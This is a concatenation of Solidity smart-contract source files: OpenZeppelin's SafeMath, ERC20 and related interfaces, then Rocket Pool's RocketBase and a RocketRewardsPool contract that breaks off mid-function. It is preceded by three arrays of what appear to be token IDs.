[ 1, 3495, 1948, 605, 22889, 12, 281, 13, 358, 1026, 23701, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1147, 13809, 9540, 273, 1147, 13809, 9540, 18, 1289, 12, 18688, 407, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * . * / \ * |.'.| * |'.'| * ,'| |`. * |,-'-|-'-.| * __|_| | _ _ _____ _ * | ___ \| | | | | | ___ \ | | * | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | | * | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| | * | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | | * \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_| * +---------------------------------------------------+ * | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM | * +---------------------------------------------------+ * * Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to * be community-owned, decentralised, and trustless. * * For more information about Rocket Pool, visit https://rocketpool.net * * Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty * */ pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-only import "../interface/RocketStorageInterface.sol"; /// @title Base settings / modifiers for each contract in Rocket Pool /// @author David Rugendyke abstract contract RocketBase { // Calculate using this as the base uint256 constant calcBase = 1 ether; // Version of the contract uint8 public version; // The main storage contract where primary persistant storage is maintained RocketStorageInterface rocketStorage = RocketStorageInterface(0); /*** Modifiers **********************************************************/ /** * @dev Throws if called by any sender that doesn't match a Rocket Pool network contract */ modifier onlyLatestNetworkContract() { require(getBool(keccak256(abi.encodePacked("contract.exists", msg.sender))), "Invalid or outdated network contract"); _; } /** * @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract */ modifier onlyLatestContract(string memory _contractName, address _contractAddress) { require(_contractAddress == getAddress(keccak256(abi.encodePacked("contract.address", _contractName))), "Invalid or outdated contract"); _; } /** * @dev Throws if called by any sender that isn't a registered node */ modifier onlyRegisteredNode(address _nodeAddress) { require(getBool(keccak256(abi.encodePacked("node.exists", _nodeAddress))), "Invalid node"); _; } /** * @dev Throws if called by any sender that isn't a trusted node DAO member */ modifier onlyTrustedNode(address _nodeAddress) { require(getBool(keccak256(abi.encodePacked("dao.trustednodes.", "member", _nodeAddress))), "Invalid trusted node"); _; } /** * @dev Throws if called by any sender that isn't a registered minipool */ modifier onlyRegisteredMinipool(address _minipoolAddress) { require(getBool(keccak256(abi.encodePacked("minipool.exists", _minipoolAddress))), "Invalid minipool"); _; } /** * @dev Throws if called by any account other than a guardian account (temporary account allowed access to settings before DAO is fully enabled) */ modifier onlyGuardian() { require(msg.sender == rocketStorage.getGuardian(), "Account is not a temporary guardian"); _; } /*** Methods **********************************************************/ /// @dev Set the main Rocket Storage address constructor(RocketStorageInterface _rocketStorageAddress) { // Update the contract address rocketStorage = RocketStorageInterface(_rocketStorageAddress); } /// @dev Get the address of a network contract by name function getContractAddress(string memory _contractName) internal view returns (address) { // Get the current contract address address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName))); // Check it require(contractAddress != address(0x0), "Contract not found"); // Return return contractAddress; } /// @dev Get the address of a network contract by name (returns address(0x0) instead of reverting if contract does not exist) function getContractAddressUnsafe(string memory _contractName) internal view returns (address) { // Get the current contract address address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName))); // Return return contractAddress; } /// @dev Get the name of a network contract by address function getContractName(address _contractAddress) internal view returns (string memory) { // Get the contract name string memory contractName = getString(keccak256(abi.encodePacked("contract.name", _contractAddress))); // Check it require(bytes(contractName).length > 0, "Contract not found"); // Return return contractName; } /// @dev Get revert error message from a .call method function getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /*** Rocket Storage Methods ****************************************/ // Note: Unused helpers have been removed to keep contract sizes down /// @dev Storage get methods function getAddress(bytes32 _key) internal view returns (address) { return rocketStorage.getAddress(_key); } function getUint(bytes32 _key) internal view returns (uint) { return rocketStorage.getUint(_key); } function getString(bytes32 _key) internal view returns (string memory) { return rocketStorage.getString(_key); } function getBytes(bytes32 _key) internal view returns (bytes memory) { return rocketStorage.getBytes(_key); } function getBool(bytes32 _key) internal view returns (bool) { return rocketStorage.getBool(_key); } function getInt(bytes32 _key) internal view returns (int) { return rocketStorage.getInt(_key); } function getBytes32(bytes32 _key) internal view returns (bytes32) { return rocketStorage.getBytes32(_key); } /// @dev Storage set methods function setAddress(bytes32 _key, address _value) internal { rocketStorage.setAddress(_key, _value); } function setUint(bytes32 _key, uint _value) internal { rocketStorage.setUint(_key, _value); } function setString(bytes32 _key, string memory _value) internal { rocketStorage.setString(_key, _value); } function setBytes(bytes32 _key, bytes memory _value) internal { rocketStorage.setBytes(_key, _value); } function setBool(bytes32 _key, bool _value) internal { rocketStorage.setBool(_key, _value); } function setInt(bytes32 _key, int _value) internal { rocketStorage.setInt(_key, _value); } function setBytes32(bytes32 _key, bytes32 _value) internal { rocketStorage.setBytes32(_key, _value); } /// @dev Storage delete methods function deleteAddress(bytes32 _key) internal { rocketStorage.deleteAddress(_key); } function deleteUint(bytes32 _key) internal { rocketStorage.deleteUint(_key); } function deleteString(bytes32 _key) internal { rocketStorage.deleteString(_key); } function deleteBytes(bytes32 _key) internal { rocketStorage.deleteBytes(_key); } function deleteBool(bytes32 _key) internal { rocketStorage.deleteBool(_key); } function deleteInt(bytes32 _key) internal { rocketStorage.deleteInt(_key); } function deleteBytes32(bytes32 _key) internal { rocketStorage.deleteBytes32(_key); } /// @dev Storage arithmetic methods function addUint(bytes32 _key, uint256 _amount) internal { rocketStorage.addUint(_key, _amount); } function subUint(bytes32 _key, uint256 _amount) internal { rocketStorage.subUint(_key, _amount); } } /** * . * / \ * |.'.| * |'.'| * ,'| |`. * |,-'-|-'-.| * __|_| | _ _ _____ _ * | ___ \| | | | | | ___ \ | | * | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | | * | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| | * | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | | * \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_| * +---------------------------------------------------+ * | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM | * +---------------------------------------------------+ * * Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to * be community-owned, decentralised, and trustless. * * For more information about Rocket Pool, visit https://rocketpool.net * * Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty * */ pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-only import "../RocketBase.sol"; import "../../interface/token/RocketTokenRPLInterface.sol"; import "../../interface/rewards/RocketRewardsPoolInterface.sol"; import "../../interface/dao/protocol/settings/RocketDAOProtocolSettingsRewardsInterface.sol"; import "../../interface/RocketVaultInterface.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; // Holds RPL generated by the network for claiming from stakers (node operators etc) contract RocketRewardsPool is RocketBase, RocketRewardsPoolInterface { // Libs using SafeMath for uint; // Events event RPLTokensClaimed(address indexed claimingContract, address indexed claimingAddress, uint256 amount, uint256 time); // Modifiers /** * @dev Throws if called by any sender that doesn't match a Rocket Pool claim contract */ modifier onlyClaimContract() { require(getClaimingContractExists(getContractName(msg.sender)), "Not a valid rewards claiming contact"); _; } /** * @dev Throws if called by any sender that doesn't match an enabled Rocket Pool claim contract */ modifier onlyEnabledClaimContract() { require(getClaimingContractEnabled(getContractName(msg.sender)), "Not a valid rewards claiming contact or it has been disabled"); _; } // Construct constructor(RocketStorageInterface _rocketStorageAddress) RocketBase(_rocketStorageAddress) { // Version version = 1; // Set the claim interval start time as the current time setUint(keccak256("rewards.pool.claim.interval.time.start"), block.timestamp); } /** * Get how much RPL the Rewards Pool contract currently has assigned to it as a whole * @return uint256 Returns rpl balance of rocket rewards contract */ function getRPLBalance() override external view returns(uint256) { // Get the vault contract instance RocketVaultInterface rocketVault = RocketVaultInterface(getContractAddress("rocketVault")); // Check per contract return rocketVault.balanceOfToken("rocketRewardsPool", IERC20(getContractAddress("rocketTokenRPL"))); } /** * Get the last set interval start time * @return uint256 Last set start timestamp for a claim interval */ function getClaimIntervalTimeStart() override public view returns(uint256) { return getUint(keccak256("rewards.pool.claim.interval.time.start")); } /** * Compute the current start time before a claim is made, takes into account intervals that may have passed * @return uint256 Computed starting timestamp for next possible claim */ function getClaimIntervalTimeStartComputed() override public view returns(uint256) { // If intervals have passed, a new start timestamp will be used for the next claim, if it's the same interval then return that uint256 claimIntervalTimeStart = getClaimIntervalTimeStart(); uint256 claimIntervalTime = getClaimIntervalTime(); return _getClaimIntervalTimeStartComputed(claimIntervalTimeStart, claimIntervalTime); } function _getClaimIntervalTimeStartComputed(uint256 _claimIntervalTimeStart, uint256 _claimIntervalTime) private view returns (uint256) { uint256 claimIntervalsPassed = _getClaimIntervalsPassed(_claimIntervalTimeStart, _claimIntervalTime); return claimIntervalsPassed == 0 ? _claimIntervalTimeStart : _claimIntervalTimeStart.add(_claimIntervalTime.mul(claimIntervalsPassed)); } /** * Compute intervals since last claim period * @return uint256 Time intervals since last update */ function getClaimIntervalsPassed() override public view returns(uint256) { // Calculate now if inflation has begun return _getClaimIntervalsPassed(getClaimIntervalTimeStart(), getClaimIntervalTime()); } function _getClaimIntervalsPassed(uint256 _claimIntervalTimeStart, uint256 _claimIntervalTime) private view returns (uint256) { return block.timestamp.sub(_claimIntervalTimeStart).div(_claimIntervalTime); } /** * Get how many seconds in a claim interval * @return uint256 Number of seconds in a claim interval */ function getClaimIntervalTime() override public view returns(uint256) { // Get from the DAO settings RocketDAOProtocolSettingsRewardsInterface daoSettingsRewards = RocketDAOProtocolSettingsRewardsInterface(getContractAddress("rocketDAOProtocolSettingsRewards")); return daoSettingsRewards.getRewardsClaimIntervalTime(); } /** * Get the last time a claim was made * @return uint256 Last time a claim was made */ function getClaimTimeLastMade() override external view returns(uint256) { return getUint(keccak256("rewards.pool.claim.interval.time.last")); } // Check whether a claiming contract exists function getClaimingContractExists(string memory _contractName) override public view returns (bool) { RocketDAOProtocolSettingsRewardsInterface daoSettingsRewards = RocketDAOProtocolSettingsRewardsInterface(getContractAddress("rocketDAOProtocolSettingsRewards")); return (daoSettingsRewards.getRewardsClaimerPercTimeUpdated(_contractName) > 0); } // If the claiming contact has a % allocated to it higher than 0, it can claim function getClaimingContractEnabled(string memory _contractName) override public view returns (bool) { // Load contract RocketDAOProtocolSettingsRewardsInterface daoSettingsRewards = RocketDAOProtocolSettingsRewardsInterface(getContractAddress("rocketDAOProtocolSettingsRewards")); // Now verify this contract can claim by having a claim perc > 0 return daoSettingsRewards.getRewardsClaimerPerc(_contractName) > 0 ? true : false; } /** * The current claim amount total for this interval per claiming contract * @return uint256 The current claim amount for this interval for the claiming contract */ function getClaimingContractTotalClaimed(string memory _claimingContract) override external view returns(uint256) { return _getClaimingContractTotalClaimed(_claimingContract, getClaimIntervalTimeStartComputed()); } function _getClaimingContractTotalClaimed(string memory _claimingContract, uint256 _claimIntervalTimeStartComputed) private view returns(uint256) { return getUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.contract.total", _claimIntervalTimeStartComputed, _claimingContract))); } /** * Have they claimed already during this interval? * @return bool Returns true if they can claim during this interval */ function getClaimingContractUserHasClaimed(uint256 _claimIntervalStartTime, string memory _claimingContract, address _claimerAddress) override public view returns(bool) { // Check per contract return getBool(keccak256(abi.encodePacked("rewards.pool.claim.interval.claimer.address", _claimIntervalStartTime, _claimingContract, _claimerAddress))); } /** * Get the time this account registered as a claimer at * @return uint256 Returns the time the account was registered at */ function getClaimingContractUserRegisteredTime(string memory _claimingContract, address _claimerAddress) override public view returns(uint256) { return 